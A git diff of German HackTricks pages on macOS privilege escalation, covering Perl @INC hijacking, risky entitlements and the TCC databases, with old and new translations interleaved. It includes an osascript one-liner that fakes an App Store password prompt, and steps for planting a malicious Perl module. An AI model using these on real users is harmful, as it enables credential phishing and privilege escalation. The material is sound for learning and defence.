Es ist möglich, die Reihenfolge der Abhängigkeiten im Ordner von Perl, der ausgeführt wird, aufzulisten:
```bash
perl -e 'print join("\n", @INC)'
```
Was zurückgeben wird:
Was zurückgeben wird, ist etwas Ähnliches wie:
```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
@ -64,13 +64,13 @@ Was zurückgeben wird:
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
Einige der zurückgegebenen Ordner existieren nicht einmal, jedoch existiert **`/Library/Perl/5.30`**, es ist **nicht** durch **SIP** geschützt und es befindet sich **vor** den von SIP geschützten Ordnern. Daher könnte jemand diesen Ordner missbrauchen, um Skriptabhängigkeiten hinzuzufügen, damit ein Perl-Skript mit hohen Berechtigungen sie lädt.
Einige der zurückgegebenen Ordner existieren nicht einmal, jedoch existiert **`/Library/Perl/5.30`**, es ist **nicht** durch **SIP** geschützt und es befindet sich **vor** den von SIP geschützten Ordnern. Daher könnte jemand diesen Ordner missbrauchen, um Skriptabhängigkeiten hinzuzufügen, damit ein Perl-Skript mit hohen Berechtigungen es lädt.
{% hint style="warning" %}
Beachten Sie jedoch, dass Sie **Root-Rechte benötigen, um in diesen Ordner zu schreiben**, und heutzutage erhalten Sie diese **TCC-Aufforderung**:
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
Zum Beispiel, wenn ein Skript **`use File::Basename;`** importiert, wäre es möglich, `/Library/Perl/5.30/File/Basename.pm` zu erstellen, um beliebigen Code auszuführen.

View file

@ -2,76 +2,76 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Heldenniveau mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
{% hint style="warning" %}
Beachten Sie, dass Berechtigungen, die mit **`com.apple`** beginnen, nicht für Dritte verfügbar sind. Nur Apple kann sie gewähren.
Beachten Sie, dass Berechtigungen, die mit **`com.apple`** beginnen, nicht für Drittanbieter verfügbar sind, nur Apple kann sie gewähren.
{% endhint %}
## Hoch
### `com.apple.rootless.install.heritable`
Die Berechtigung **`com.apple.rootless.install.heritable`** ermöglicht es, **SIP zu umgehen**. Weitere Informationen finden Sie [hier](macos-sip.md#com.apple.rootless.install.heritable).
Die Berechtigung **`com.apple.rootless.install.heritable`** ermöglicht es, **SIP zu umgehen**. Überprüfen Sie [hier für weitere Informationen](macos-sip.md#com.apple.rootless.install.heritable).
### **`com.apple.rootless.install`**
Die Berechtigung **`com.apple.rootless.install`** ermöglicht es, **SIP zu umgehen**. Weitere Informationen finden Sie [hier](macos-sip.md#com.apple.rootless.install).
Die Berechtigung **`com.apple.rootless.install`** ermöglicht es, **SIP zu umgehen**. Überprüfen Sie [dies für weitere Informationen](macos-sip.md#com.apple.rootless.install).
### **`com.apple.system-task-ports` (früher `task_for_pid-allow` genannt)**
Diese Berechtigung ermöglicht den Zugriff auf den **Task-Port für jeden** Prozess, außer dem Kernel. Weitere Informationen finden Sie [**hier**](../mac-os-architecture/macos-ipc-inter-process-communication/).
Diese Berechtigung ermöglicht es, den **Task-Port für jeden** Prozess außer dem Kernel zu erhalten. Überprüfen Sie [**dies für weitere Informationen**](../mac-os-architecture/macos-ipc-inter-process-communication/).
### `com.apple.security.get-task-allow`
Diese Berechtigung ermöglicht es anderen Prozessen mit der Berechtigung **`com.apple.security.cs.debugger`**, den Task-Port des Prozesses, der von der Binärdatei mit dieser Berechtigung ausgeführt wird, zu erhalten und **Code einzuspritzen**. Weitere Informationen finden Sie [**hier**](../mac-os-architecture/macos-ipc-inter-process-communication/).
Diese Berechtigung ermöglicht es anderen Prozessen mit der Berechtigung **`com.apple.security.cs.debugger`**, den Task-Port des Prozesses, der vom Binärcode mit dieser Berechtigung ausgeführt wird, zu erhalten und **Code einzuspeisen**. Überprüfen Sie [**dies für weitere Informationen**](../mac-os-architecture/macos-ipc-inter-process-communication/).
### `com.apple.security.cs.debugger`
Apps mit der Berechtigung Debugging Tool können `task_for_pid()` aufrufen, um einen gültigen Task-Port für nicht signierte und Drittanbieter-Apps mit der Berechtigung `Get Task Allow` auf `true` abzurufen. Selbst mit der Berechtigung für das Debugging-Tool kann ein Debugger **nicht die Task-Ports** von Prozessen abrufen, die **nicht über die Berechtigung `Get Task Allow` verfügen** und daher durch System Integrity Protection geschützt sind. Weitere Informationen finden Sie [**hier**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
Apps mit der Debugging-Tool-Berechtigung können `task_for_pid()` aufrufen, um einen gültigen Task-Port für nicht signierte und Drittanbieter-Apps mit der Berechtigung `Get Task Allow` auf `true` abzurufen. Selbst mit der Debugging-Tool-Berechtigung kann ein Debugger jedoch **nicht die Task-Ports** von Prozessen erhalten, die **nicht über die `Get Task Allow`-Berechtigung verfügen** und daher durch die System Integrity Protection geschützt sind. Überprüfen Sie [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
### `com.apple.security.cs.disable-library-validation`
Diese Berechtigung ermöglicht das Laden von Frameworks, Plug-Ins oder Bibliotheken, die weder von Apple signiert noch mit derselben Team-ID signiert sind wie die Hauptausführungsdatei. Ein Angreifer könnte missbräuchlich eine beliebige Bibliothek laden, um Code einzuspritzen. Weitere Informationen finden Sie [**hier**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
Diese Berechtigung ermöglicht es, Frameworks, Plug-ins oder Bibliotheken zu laden, die weder von Apple signiert sind noch mit derselben Team-ID wie die Hauptausführbare Datei signiert sind, sodass ein Angreifer missbräuchlich eine beliebige Bibliothek laden kann, um Code einzuspeisen. Überprüfen Sie [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
### `com.apple.private.security.clear-library-validation`
Diese Berechtigung ist sehr ähnlich wie **`com.apple.security.cs.disable-library-validation`**, ermöglicht jedoch anstelle einer direkten Deaktivierung der Bibliotheksvalidierung dem Prozess, einen `csops`-Systemaufruf zum Deaktivieren der Validierung aufzurufen.\
Weitere Informationen finden Sie [**hier**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
Diese Berechtigung ist sehr ähnlich wie **`com.apple.security.cs.disable-library-validation`**, aber **anstatt** die Bibliotheksvalidierung direkt zu deaktivieren, ermöglicht sie dem Prozess, einen `csops`-Systemaufruf aufzurufen, um sie zu deaktivieren.\
Überprüfen Sie [**dies für weitere Informationen**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
### `com.apple.security.cs.allow-dyld-environment-variables`
Diese Berechtigung ermöglicht die Verwendung von DYLD-Umgebungsvariablen, die zum Einspritzen von Bibliotheken und Code verwendet werden können. Weitere Informationen finden Sie [**hier**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
Diese Berechtigung ermöglicht es, DYLD-Umgebungsvariablen zu verwenden, die zum Einspeisen von Bibliotheken und Code verwendet werden können. Überprüfen Sie [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
### `com.apple.private.tcc.manager` oder `com.apple.rootless.storage`.`TCC`
[**Laut diesem Blog**](https://objective-see.org/blog/blog\_0x4C.html) **und** [**diesem Blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/) ermöglichen diese Berechtigungen die **Änderung** der **TCC-Datenbank**.
Laut [**diesem Blog**](https://objective-see.org/blog/blog\_0x4C.html) **und** [**diesem Blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/) ermöglichen diese Berechtigungen die **Änderung** der **TCC**-Datenbank.
### **`system.install.apple-software`** und **`system.install.apple-software.standar-user`**
Diese Berechtigungen ermöglichen die **Installation von Software ohne Benutzerberechtigungen**, was für eine **Privileg-Eskalation** hilfreich sein kann.
Diese Berechtigungen ermöglichen es, Software **ohne die Erlaubnis des Benutzers zu installieren**, was für eine **Privilege Escalation** hilfreich sein kann.
### `com.apple.private.security.kext-management`
Berechtigung, um den Kernel zum Laden einer Kernelerweiterung aufzufordern.
Berechtigung erforderlich, um den **Kernel zur Ladung einer Kernelerweiterung** aufzufordern.
### **`com.apple.private.icloud-account-access`**
Mit der Berechtigung **`com.apple.private.icloud-account-access`** ist es möglich, mit dem XPC-Dienst **`com.apple.iCloudHelper`** zu kommunizieren, der **iCloud-Token bereitstellt**.
Mit der Berechtigung **`com.apple.private.icloud-account-access`** ist es möglich, mit dem **`com.apple.iCloudHelper`** XPC-Dienst zu kommunizieren, der **iCloud-Token bereitstellt**.
**iMovie** und **Garageband** hatten diese Berechtigung.
Für weitere **Informationen** über den Exploit zum **Erhalten von iCloud-Token** aus dieser Berechtigung sehen Sie sich den Vortrag an: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
Für weitere **Informationen** über den Exploit zum **Erhalt von iCloud-Token** aus dieser Berechtigung sehen Sie sich den Vortrag an: [**#OBTS v5.0: "Was auf Ihrem Mac passiert, bleibt in Apples iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
@ -79,15 +79,15 @@ TODO: Ich weiß nicht, was dies ermöglicht
### `com.apple.private.apfs.revert-to-snapshot`
TODO: In [**diesem Bericht**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) wird erwähnt, dass dies verwendet werden könnte, um die nach einem Neustart geschützten SSV-Inhalte zu aktualisieren. Wenn Sie wissen, wie es funktioniert, senden Sie bitte einen PR!
TODO: In [**diesem Bericht**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **wird erwähnt, dass dies verwendet werden könnte, um** die nach einem Neustart geschützten SSV-Inhalte zu aktualisieren. Wenn Sie wissen, wie, senden Sie bitte einen PR!
### `com.apple.private.apfs.create-sealed-snapshot`
TODO: In [**diesem Bericht**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) wird erwähnt, dass dies verwendet werden könnte, um die nach einem Neustart geschützten SSV-Inhalte zu aktualisieren. Wenn Sie wissen, wie es funktioniert, senden Sie bitte einen PR!
TODO: In [**diesem Bericht**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **wird erwähnt, dass dies verwendet werden könnte, um** die nach einem Neustart geschützten SSV-Inhalte zu aktualisieren. Wenn Sie wissen, wie, senden Sie bitte einen PR!
### `keychain-access-groups`
Diese Berechtigung listet die **Schlüsselbundgruppen** auf, auf die die Anwendung Zugriff hat:
Diese Berechtigungsliste enthält die **Schlüsselbundgruppen**, auf die die Anwendung zugreifen kann:
```xml
<key>keychain-access-groups</key>
<array>
@ -100,15 +100,13 @@ Diese Berechtigung listet die **Schlüsselbundgruppen** auf, auf die die Anwendu
```
### **`kTCCServiceSystemPolicyAllFiles`**
Gibt **Vollzugriff auf die Festplatte**, eine der höchsten Berechtigungen, die Sie haben können.
Gibt Berechtigungen für **Voller Festplattenzugriff**, eine der höchsten Berechtigungen, die Sie haben können.
### **`kTCCServiceAppleEvents`**
Ermöglicht der App, Ereignisse an andere Anwendungen zu senden, die häufig für die **Automatisierung von Aufgaben** verwendet werden. Durch die Kontrolle anderer Apps kann sie die den anderen Apps gewährten Berechtigungen missbrauchen.
Zum Beispiel kann sie sie auffordern, den Benutzer nach seinem Passwort zu fragen:
{% code overflow="wrap" %}
Indem sie sie dazu bringt, den Benutzer nach seinem Passwort zu fragen:
```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
```
@ -118,44 +116,44 @@ Oder sie dazu bringen, **beliebige Aktionen** auszuführen.
### **`kTCCServiceEndpointSecurityClient`**
Ermöglicht unter anderem das **Schreiben in die TCC-Datenbank des Benutzers**.
Erlaubt unter anderem das **Schreiben in die TCC-Datenbank des Benutzers**.
### **`kTCCServiceSystemPolicySysAdminFiles`**
Ermöglicht das **Ändern** des **`NFSHomeDirectory`**-Attributs eines Benutzers, der den Pfad seines Home-Ordners ändert, und ermöglicht es daher, die TCC zu **umgehen**.
Erlaubt es, das Attribut **`NFSHomeDirectory`** eines Benutzers zu **ändern**, das seinen Heimatordnerpfad ändert und somit das Umgehen von TCC ermöglicht.
### **`kTCCServiceSystemPolicyAppBundles`**
Ermöglicht das Ändern von Dateien innerhalb von App-Bundles (innerhalb von app.app), was standardmäßig **nicht erlaubt** ist.
Erlaubt das Ändern von Dateien innerhalb von App-Bundles (innerhalb von app.app), was standardmäßig **nicht erlaubt ist**.
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Es ist möglich, herauszufinden, wer auf diese Berechtigung zugreifen kann, indem man zu _Systemeinstellungen_ > _Datenschutz & Sicherheit_ > _App-Verwaltung_ geht.
Es ist möglich zu überprüfen, wer auf diese Berechtigung zugreifen kann unter _Systemeinstellungen_ > _Datenschutz & Sicherheit_ > _App-Verwaltung_.
### `kTCCServiceAccessibility`
Der Prozess kann die macOS-Barrierefreiheitsfunktionen **missbrauchen**, was bedeutet, dass er zum Beispiel Tastatureingaben simulieren kann. Er könnte also Zugriff auf die Steuerung einer App wie Finder beantragen und den Dialog mit dieser Berechtigung genehmigen.
Der Prozess wird in der Lage sein, die macOS-Zugänglichkeitsfunktionen **missbrauchen**, was bedeutet, dass er beispielsweise Tastenanschläge ausführen kann. Er könnte also Zugriff auf die Steuerung einer App wie Finder anfordern und den Dialog mit dieser Berechtigung genehmigen.
## Medium
### `com.apple.security.cs.allow-jit`
Diese Berechtigung ermöglicht das Erstellen von Speicher, der schreib- und ausführbar ist, indem die `MAP_JIT`-Flag an die `mmap()`-Systemfunktion übergeben wird. Weitere Informationen finden Sie [**hier**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
Diese Berechtigung ermöglicht es, **Speicher zu erstellen, der schreib- und ausführbar ist**, indem der `MAP_JIT`-Flag an die `mmap()`-Systemfunktion übergeben wird. Überprüfen Sie [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
### `com.apple.security.cs.allow-unsigned-executable-memory`
Diese Berechtigung ermöglicht das Überschreiben oder Patchen von C-Code, die Verwendung der veralteten **`NSCreateObjectFileImageFromMemory`** (die grundsätzlich unsicher ist) oder die Verwendung des **DVDPlayback**-Frameworks. Weitere Informationen finden Sie [**hier**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
Diese Berechtigung ermöglicht es, C-Code zu **überschreiben oder zu patchen**, die veraltete **`NSCreateObjectFileImageFromMemory`** zu verwenden (die grundsätzlich unsicher ist) oder das **DVDPlayback**-Framework zu verwenden. Überprüfen Sie [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
{% hint style="danger" %}
Das Hinzufügen dieser Berechtigung macht Ihre App anfällig für gängige Sicherheitslücken in speicherunsicheren Programmiersprachen. Überlegen Sie sorgfältig, ob Ihre App diese Ausnahme benötigt.
Das Einbeziehen dieser Berechtigung macht Ihre App anfällig für häufige Sicherheitslücken in sprachen mit speicherunsicheren Codes. Überlegen Sie sorgfältig, ob Ihre App diese Ausnahme benötigt.
{% endhint %}
### `com.apple.security.cs.disable-executable-page-protection`
Diese Berechtigung ermöglicht das **Ändern von Abschnitten der eigenen ausführbaren Dateien** auf der Festplatte, um einen erzwungenen Abbruch zu erzwingen. Weitere Informationen finden Sie [**hier**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
Diese Berechtigung ermöglicht es, **Abschnitte ihrer eigenen ausführbaren Dateien** auf der Festplatte zu ändern, um erzwungen zu beenden. Überprüfen Sie [**dies für weitere Informationen**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
{% hint style="danger" %}
Die Berechtigung zur Deaktivierung des Schutzes vor ausführbarem Speicher ist eine extreme Berechtigung, die einen grundlegenden Sicherheitsschutz Ihrer App entfernt und es einem Angreifer ermöglicht, den ausführbaren Code Ihrer App unbemerkt zu ändern. Verwenden Sie möglichst spezifischere Berechtigungen.
Die Berechtigung zur Deaktivierung des Schutzes vor ausführbaren Seiten ist eine extreme Berechtigung, die einen grundlegenden Sicherheitsschutz aus Ihrer App entfernt und es einem Angreifer ermöglicht, den ausführbaren Code Ihrer App ohne Erkennung neu zu schreiben. Verwenden Sie wenn möglich engere Berechtigungen.
{% endhint %}
### `com.apple.security.cs.allow-relative-library-loads`
@ -164,31 +162,31 @@ TODO
### `com.apple.private.nullfs_allow`
Diese Berechtigung ermöglicht das Mounten eines nullfs-Dateisystems (standardmäßig nicht erlaubt). Tool: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
Diese Berechtigung ermöglicht das Einhängen eines nullfs-Dateisystems (standardmäßig verboten). Tool: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
### `kTCCServiceAll`
Laut diesem Blogpost findet sich diese TCC-Berechtigung normalerweise in der Form:
Laut diesem Blogbeitrag wird diese TCC-Berechtigung normalerweise in der Form gefunden:
```
[Key] com.apple.private.tcc.allow-prompting
[Value]
[Array]
[String] kTCCServiceAll
```
Erlaube dem Prozess, **um alle TCC-Berechtigungen zu bitten**.
Erlauben Sie dem Prozess, **um alle TCC-Berechtigungen zu bitten**.
### **`kTCCServicePostEvent`**
<details>
<summary><strong>Lerne AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn du dein **Unternehmen in HackTricks bewerben möchtest** oder **HackTricks als PDF herunterladen möchtest**, schau dir die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop) an!
* Hol dir das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecke [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Trete der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folge** uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teile deine Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories einreichst.**
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>

View file

@ -10,21 +10,21 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
## **Grundlegende Informationen**
**TCC (Transparenz, Einwilligung und Kontrolle)** ist ein Sicherheitsprotokoll, das sich darauf konzentriert, Anwendungsrechte zu regulieren. Seine Hauptaufgabe besteht darin, sensible Funktionen wie **Standortdienste, Kontakte, Fotos, Mikrofon, Kamera, Zugänglichkeit und Vollzugriff auf die Festplatte** zu schützen. Indem es explizite Benutzerzustimmung vor der Gewährung von App-Zugriff auf diese Elemente vorschreibt, verbessert TCC die Privatsphäre und die Benutzerkontrolle über ihre Daten.
**TCC (Transparenz, Einwilligung und Kontrolle)** ist ein Sicherheitsprotokoll, das sich darauf konzentriert, Anwendungsrechte zu regulieren. Seine Hauptaufgabe besteht darin, sensible Funktionen wie **Standortdienste, Kontakte, Fotos, Mikrofon, Kamera, Zugänglichkeit und Vollzugriff auf die Festplatte** zu schützen. Indem TCC eine explizite Benutzerzustimmung vor der Gewährung von App-Zugriff auf diese Elemente vorschreibt, verbessert es die Privatsphäre und die Benutzerkontrolle über ihre Daten.
Benutzer stoßen auf TCC, wenn Anwendungen Zugriff auf geschützte Funktionen anfordern. Dies ist sichtbar durch eine Aufforderung, die es Benutzern ermöglicht, den Zugriff zu **genehmigen oder abzulehnen**. Darüber hinaus ermöglicht TCC direkte Benutzeraktionen, wie das **Ziehen und Ablegen von Dateien in eine Anwendung**, um den Zugriff auf bestimmte Dateien zu gewähren, und stellt sicher, dass Anwendungen nur auf das zugreifen können, was ausdrücklich erlaubt ist.
Benutzer stoßen auf TCC, wenn Anwendungen Zugriff auf geschützte Funktionen anfordern. Dies ist sichtbar durch eine Aufforderung, die es Benutzern ermöglicht, den Zugriff zu **genehmigen oder abzulehnen**. Darüber hinaus ermöglicht TCC direkte Benutzeraktionen, wie das **Ziehen und Ablegen von Dateien in eine Anwendung**, um den Zugriff auf bestimmte Dateien zu gewähren, und stellt sicher, dass Anwendungen nur auf das zugreifen können, was ausdrücklich genehmigt wurde.
![Ein Beispiel für eine TCC-Aufforderung](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC** wird vom **Daemon** im Verzeichnis `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` verwaltet und in der Datei `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` konfiguriert (Registrierung des Mach-Dienstes `com.apple.tccd.system`).
**TCC** wird vom **Daemon** im Verzeichnis `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` verwaltet und in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` konfiguriert (Registrierung des Mach-Dienstes `com.apple.tccd.system`).
Es gibt einen **Benutzermodus tccd**, der pro angemeldetem Benutzer in der Datei `/System/Library/LaunchAgents/com.apple.tccd.plist` definiert ist und die Mach-Dienste `com.apple.tccd` und `com.apple.usernotifications.delegate.com.apple.tccd` registriert.
Es gibt einen **Benutzermodus tccd**, der pro angemeldetem Benutzer in `/System/Library/LaunchAgents/com.apple.tccd.plist` definiert ist und die Mach-Dienste `com.apple.tccd` und `com.apple.usernotifications.delegate.com.apple.tccd` registriert.
Hier sehen Sie den als System und als Benutzer ausgeführten tccd:
```bash
@ -32,7 +32,7 @@ ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
```
Berechtigungen werden vom übergeordneten Anwendungsprozess vererbt und die Berechtigungen werden anhand der Bundle-ID und der Entwickler-ID verfolgt.
Die Berechtigungen werden vom übergeordneten Anwendungsprozess vererbt und die Berechtigungen werden anhand der Bundle-ID und der Entwickler-ID verfolgt.
### TCC-Datenbanken
@ -44,14 +44,14 @@ Die Erlaubnisse/Verweigerungen werden dann in einigen TCC-Datenbanken gespeicher
- Diese Datenbank ist geschützt, sodass nur Prozesse mit hohen TCC-Berechtigungen wie Vollzugriff auf das Laufwerk in sie schreiben können (aber sie ist nicht durch SIP geschützt).
{% hint style="warning" %}
Die vorherigen Datenbanken sind auch **TCC-geschützt für Lesezugriff**. Sie werden also nicht in der Lage sein, Ihre reguläre Benutzer-TCC-Datenbank zu lesen, es sei denn, es handelt sich um einen Prozess mit hohen Berechtigungen (wie **FDA** oder **`kTCCServiceEndpointSecurityClient`**).
Die vorherigen Datenbanken sind auch für den Lesezugriff durch TCC geschützt. Sie können also Ihre reguläre Benutzer-TCC-Datenbank nicht lesen, es sei denn, es handelt sich um einen Prozess mit TCC-Privilegien.
Dennoch ist zu beachten, dass ein Prozess mit diesen hohen Berechtigungen (wie **FDA** oder **`kTCCServiceEndpointSecurityClient`**) in der Lage sein wird, in die Benutzer-TCC-Datenbank zu schreiben.
Denken Sie jedoch daran, dass ein Prozess mit diesen hohen Privilegien (wie **FDA** oder **`kTCCServiceEndpointSecurityClient`**) in der Lage sein wird, in die Benutzer-TCC-Datenbank zu schreiben.
{% endhint %}
- Es gibt eine **dritte** TCC-Datenbank in **`/var/db/locationd/clients.plist`**, um Clients anzuzeigen, die auf **Ortungsdienste zugreifen** dürfen.
- Die durch SIP geschützte Datei **`/Users/carlospolop/Downloads/REG.db`** (auch vor Lesezugriff mit TCC geschützt) enthält die **Standorte** aller **gültigen TCC-Datenbanken**.
- Die durch SIP geschützte Datei **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (auch vor Lesezugriff mit TCC geschützt) enthält weitere gewährte TCC-Berechtigungen.
- Es gibt eine **dritte** TCC-Datenbank in **`/var/db/locationd/clients.plist`**, um Clients anzuzeigen, die auf Standortdienste zugreifen dürfen.
- Die durch SIP geschützte Datei **`/Users/carlospolop/Downloads/REG.db`** (auch vor Lesezugriff durch TCC geschützt) enthält den Standort aller gültigen TCC-Datenbanken.
- Die durch SIP geschützte Datei **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (auch vor Lesezugriff durch TCC geschützt) enthält weitere gewährte TCC-Berechtigungen.
- Die durch SIP geschützte Datei **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (aber von jedem lesbar) ist eine Liste von Anwendungen, die eine TCC-Ausnahme erfordern.
{% hint style="success" %}
@ -59,7 +59,7 @@ Die TCC-Datenbank in **iOS** befindet sich in **`/private/var/mobile/Library/TCC
{% endhint %}
{% hint style="info" %}
